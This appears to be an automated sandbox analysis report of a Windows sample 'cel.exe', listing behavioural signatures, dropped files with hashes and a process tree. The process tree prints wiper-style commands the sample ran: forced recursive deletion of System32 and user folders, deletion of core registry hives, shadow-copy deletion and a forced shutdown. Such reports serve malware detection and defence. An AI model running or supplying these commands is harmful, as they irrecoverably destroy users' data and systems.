Analysis

  • user interaction
    yes
  • max time kernel
    151s
  • max time network
    114s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    17/07/2026, 17:45

General

  • Target
    cel.exe
  • Size 18.5MB
  • Sample260717-wb8ecscy7v
  • SHA256 fc755b86385fc5ade53370830218fd923e60b2da2f1947065a07f49ed3e8538e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies firewall policy service 3 TTPs 25 IoCs
  • Modifies security service 2 TTPs 7 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 8 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Boot or Logon Autostart Execution: Port Monitors 1 TTPs 13 IoCs

    Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation.

  • Manipulates Digital Signatures 1 TTPs 25 IoCs

    Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.

  • Boot or Logon Autostart Execution: Print Processors 1 TTPs 2 IoCs

    Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Impair Defenses: Safe Mode Boot 1 TTPs 7 IoCs
  • Loads dropped DLL 54 IoCs
  • Modifies system executable filetype association 2 TTPs 3 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 4 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Maps connected drives based on registry 3 TTPs 3 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Internet Explorer Protected Mode 1 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 64 IoCs
  • Modifies data under HKEY_USERS 26 IoCs
  • Modifies registry class 64 IoCs
  • Modifies registry key 1 TTPs 2 IoCs
  • Suspicious behavior: LoadsDriver 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs
  • outlook_office_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cel.exe
    "C:\Users\Admin\AppData\Local\Temp\cel.exe"
    1⤵
    • Drops file in Program Files directory
    • Modifies Internet Explorer Protected Mode
    • Suspicious use of WriteProcessMemory
    PID:1940
    • C:\Users\Admin\AppData\Local\Temp\cel.exe
      C:\Users\Admin\AppData\Local\Temp\cel.exe
      2⤵
      • Loads dropped DLL
      • Checks SCSI registry key(s)
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1672
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c del /f /s /q C:\Windows\System32\*.* 2>nul
        3⤵
        • Drops file in System32 directory
        PID:4216
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c del /f /s /q C:\Users\*\Desktop\*.* 2>nul
        3⤵
          PID:5760
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c del /f /s /q C:\Users\*\Documents\*.* 2>nul
          3⤵
            PID:5924
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c del /f /s /q C:\Users\*\Downloads\*.* 2>nul
            3⤵
              PID:2000
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c del /f /s /q C:\Users\*\Pictures\*.* 2>nul
              3⤵
                PID:3500
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c del /f /s /q C:\Users\*\Videos\*.* 2>nul
                3⤵
                  PID:4668
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c del /f /s /q C:\Users\*\Music\*.* 2>nul
                  3⤵
                    PID:4064
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c reg delete HKLM\SYSTEM /f 2>nul
                    3⤵
                    • Executes a command shell one-liner
                    • Suspicious use of WriteProcessMemory
                    PID:3688
                    • C:\Windows\system32\reg.exe
                      reg delete HKLM\SYSTEM /f
                      4⤵
                      • Modifies firewall policy service
                      • Modifies security service
                      • Boot or Logon Autostart Execution: Port Monitors
                      • Boot or Logon Autostart Execution: Print Processors
                      • Impair Defenses: Safe Mode Boot
                      • Maps connected drives based on registry
                      • System Location Discovery: System Language Discovery
                      • Checks SCSI registry key(s)
                      • Modifies registry key
                      PID:548
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c reg delete HKCU\SOFTWARE /f 2>nul
                    3⤵
                    • Executes a command shell one-liner
                    • Suspicious use of WriteProcessMemory
                    PID:5816
                    • C:\Windows\system32\reg.exe
                      reg delete HKCU\SOFTWARE /f
                      4⤵
                      • Boot or Logon Autostart Execution: Active Setup
                      • Manipulates Digital Signatures
                      • Modifies system executable filetype association
                      • Accesses Microsoft Outlook profiles
                      • Adds Run key to start application
                      • Modifies Internet Explorer settings
                      • Modifies registry class
                      • Modifies registry key
                      • outlook_office_path
                      PID:1756
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet 2>nul
                    3⤵
                    • Executes a command shell one-liner
                    • Suspicious use of WriteProcessMemory
                    PID:5596
                    • C:\Windows\system32\vssadmin.exe
                      vssadmin delete shadows /all /quiet
                      4⤵
                      • Interacts with shadow copies
                      PID:3952
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c shutdown /s /f /t 3
                    3⤵
                    • Executes a command shell one-liner
                    • Suspicious use of WriteProcessMemory
                    PID:4956
                    • C:\Windows\system32\shutdown.exe
                      shutdown /s /f /t 3
                      4⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1748
              • C:\Windows\system32\LogonUI.exe
                "LogonUI.exe" /flags:0x0 /state0:0xa3a33055 /state1:0x41c64e6d
                1⤵
                • Modifies data under HKEY_USERS
                PID:3520
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k CameraMonitor
                1⤵
                  PID:1968
                • C:\Windows\System32\smss.exe
                  \SystemRoot\System32\smss.exe 000003dc 000000b8
                  1⤵
                    PID:3952
                  • C:\Windows\System32\smss.exe
                    \SystemRoot\System32\smss.exe 000003d8 000000b8
                    1⤵
                      PID:1748
                    • C:\Windows\system32\LogonUI.exe
                      "LogonUI.exe" /flags:0x0 /state0:0xa2539055 /state1:0x41c64e6d
                      1⤵
                      • Modifies data under HKEY_USERS
                      PID:5008

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          SDL2.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\pygame\SDL2.dll
                          • Size 2.4MB
                          • SHA256 520d0459b91efa32fbccf9027a9ca1fc5aae657e679ce8e90f179f9cf5afd279
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          SDL2_ttf.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\pygame\SDL2_ttf.dll
                          • Size 1.5MB
                          • SHA256 fcdfabdfce868eb33f7514025ff59c1bb6c418f1bcd6ace2300a9cd4053e1d63
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          base.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\pygame\base.pyd
                          • Size 30KB
                          • SHA256 59fd2c87c8261f8de69fb70f881b41a13e522119503ae18fc068d607b4754bfe
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          bufferproxy.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\pygame\bufferproxy.pyd
                          • Size 18KB
                          • SHA256 7b1de4a711ac3b8c870a70d1b5db3a3684efd5ab258c4e1c42e715bd6e0a500c
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          color.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\pygame\color.pyd
                          • Size 35KB
                          • SHA256 f1532048d8d89e0aff5a79f0dd96edaf7e75665c0292032c2b69a90374b4582a
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          constants.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\pygame\constants.pyd
                          • Size 49KB
                          • SHA256 99ef70bf473e1241a433f33dc7ec89dff64c831999de68612f2e642fd4a1d5dd
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          display.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\pygame\display.pyd
                          • Size 44KB
                          • SHA256 6ce7e1f477c4aa614b1231b1a2ce345662bb36ed590157d48e219219f7459970
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          event.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\pygame\event.pyd
                          • Size 43KB
                          • SHA256 b9a3dabaa705c50d3d78505195eb609e7883c01ec080db2f21e7251025b3309c
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          font.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\pygame\font.pyd
                          • Size 24KB
                          • SHA256 413c4e8f918cb654dcd5788c5717142eb42af9ba1b07bc2ae94d1cb856783090
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          image.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\pygame\image.pyd
                          • Size 29KB
                          • SHA256 a6100714b22ceb504bc5a303f86ac28ceb1ac47796175f101e23e869eba4480c
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          joystick.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\pygame\joystick.pyd
                          • Size 20KB
                          • SHA256 cf5c43e5dbe986dfadf17e9fa6583ba0932540f31d359024abfc69bcc2cb6f8c
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          key.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\pygame\key.pyd
                          • Size 20KB
                          • SHA256 ce4815ce82bef66100d83b3244a5a0db2ec62a342d80b03e3e560d6aa5d7c583
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          libpng16-16.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\pygame\libpng16-16.dll
                          • Size 206KB
                          • SHA256 e688b4a4d18f4b6ccc99c6ca4980f51218cb825610775192d9b60b2f05eff2d5
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          math.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\pygame\math.pyd
                          • Size 75KB
                          • SHA256 515e2cf7344b6daedd464f567ca99978a47da14719b7f5a092c69a252b16c5f3
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          rect.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\pygame\rect.pyd
                          • Size 44KB
                          • SHA256 38d709cb73a98dd54d666689212bfdddc2a68fcc4541c3b59a741815e4688b7c
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          rwobject.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\pygame\rwobject.pyd
                          • Size 19KB
                          • SHA256 b658da9b9b207f73325b9e9b84029258e64e324b8935671ce79b49f28a26b87e
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          surface.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\pygame\surface.pyd
                          • Size 234KB
                          • SHA256 bc64469279ac571f08173b2a09da78f1c0af3276e531fdf12ec3f9e9eca8fdde
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          time.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\pygame\time.pyd
                          • Size 18KB
                          • SHA256 20025c990cc49ca1d58b84d0e3b9b84932a2ce98ae192d0415b7061369837d91
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          RGIC4AE.tmp

                          • Path C:\Users\Admin\AppData\Local\Temp\RGIC4AE.tmp
                          • Size 24KB
                          • SHA256 7edd143fcf7979b14390a36b12bf79955bcd92a583a5c51f38d12f3f369c9849
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          VCRUNTIME140.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\onefile_1940_134287839724080787\VCRUNTIME140.dll
                          • Size 117KB
                          • SHA256 36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          _queue.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\onefile_1940_134287839724080787\_queue.pyd
                          • Size 32KB
                          • SHA256 37622ca591fb8e45a894db9c0da99bfcb18a820a48f028e4949d9256b69247e3
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          cel.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\onefile_1940_134287839724080787\cel.dll
                          • Size 20.0MB
                          • SHA256 99b71832e8ee2a543f488e79cb81e1421201625866e8778b1c8fa77dee9770a2
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          SDL2_image.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\onefile_1940_134287839724080787\pygame\SDL2_image.dll
                          • Size 122KB
                          • SHA256 1e364af75fee0c83506fbdfd4d5b0e386c4e9c6a33ddbddac61ddb131e360194
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          draw.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\onefile_1940_134287839724080787\pygame\draw.pyd
                          • Size 49KB
                          • SHA256 18e7ec3c61c272318b08adb7c5466c334abf6f75becc5824f5ab8fdc5f6e9a31
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          imageext.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\onefile_1940_134287839724080787\pygame\imageext.pyd
                          • Size 17KB
                          • SHA256 7ff15e58ae5f0de963508bf002d99363b7e9594a09beabdd99f5d9fb1edce0e3
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          mask.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\onefile_1940_134287839724080787\pygame\mask.pyd
                          • Size 54KB
                          • SHA256 c506e7421bcc10b9d0b45ce44152c8fec242d310fd9fd9aff94d001e3893fa90
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          mouse.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\onefile_1940_134287839724080787\pygame\mouse.pyd
                          • Size 19KB
                          • SHA256 d0609d148cfc8337ed87ac92fba3e226efaea2405cdf488b9cdea540d3f05881
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          pixelarray.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\onefile_1940_134287839724080787\pygame\pixelarray.pyd
                          • Size 47KB
                          • SHA256 99ac7eab08cb2ff078ea515ca51ba8c86819d47b8820d41cb65d645f0fafddc0
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          pixelcopy.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\onefile_1940_134287839724080787\pygame\pixelcopy.pyd
                          • Size 26KB
                          • SHA256 d430b7bab200bba63a8b4f74081cf409c9fb42dc3e4f2097cc77988b7f9fbb82
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          surflock.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\onefile_1940_134287839724080787\pygame\surflock.pyd
                          • Size 13KB
                          • SHA256 6c0c944037dc7a23e4ca6683d58085752453faf3be1e776a0ebd33f3d0fda8d5
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          transform.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\onefile_1940_134287839724080787\pygame\transform.pyd
                          • Size 57KB
                          • SHA256 e746b718c52de41492139a5152c842b0bfd8faaca4b992e8df562aa3c4ca97fd
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          zlib1.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\onefile_1940_134287839724080787\pygame\zlib1.dll
                          • Size 106KB
                          • SHA256 b1f58a17f3bfd55523e7bef685acf5b32d1c2a6f25abdcd442681266fd26ab08
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          python312.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\onefile_1940_134287839724080787\python312.dll
                          • Size 6.6MB
                          • SHA256 3b56fa10d3797c231468cee42caeaaaff40dbede7bc0d142ec4878493f48e07d
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/1672-161-0x00007FFCBE540000-0x00007FFCBE7AC000-memory.dmp

                          memory/1672-167-0x00007FFCBE540000-0x00007FFCBE7AC000-memory.dmp

                          memory/1672-158-0x0000000062E80000-0x0000000062EA4000-memory.dmp

                          memory/1672-157-0x0000000068B40000-0x0000000068B7C000-memory.dmp

                          memory/1672-155-0x00007FFCBE540000-0x00007FFCBE7AC000-memory.dmp

                          memory/1672-165-0x00007FFCB2180000-0x00007FFCB2302000-memory.dmp

                          memory/1672-160-0x00007FFCBE4D0000-0x00007FFCBE521000-memory.dmp

                          memory/1672-159-0x00007FFCB2180000-0x00007FFCB2302000-memory.dmp

                          memory/1672-173-0x00007FFCBE540000-0x00007FFCBE7AC000-memory.dmp

                          memory/1672-180-0x000000006A880000-0x000000006A8A7000-memory.dmp

                          memory/1672-184-0x00007FFCBE4D0000-0x00007FFCBE521000-memory.dmp

                          memory/1672-183-0x00007FFCB2180000-0x00007FFCB2302000-memory.dmp

                          memory/1672-179-0x00007FFCBE540000-0x00007FFCBE7AC000-memory.dmp

                          memory/1672-182-0x0000000062E80000-0x0000000062EA4000-memory.dmp

                          memory/1672-181-0x0000000068B40000-0x0000000068B7C000-memory.dmp

                          memory/1672-156-0x000000006A880000-0x000000006A8A7000-memory.dmp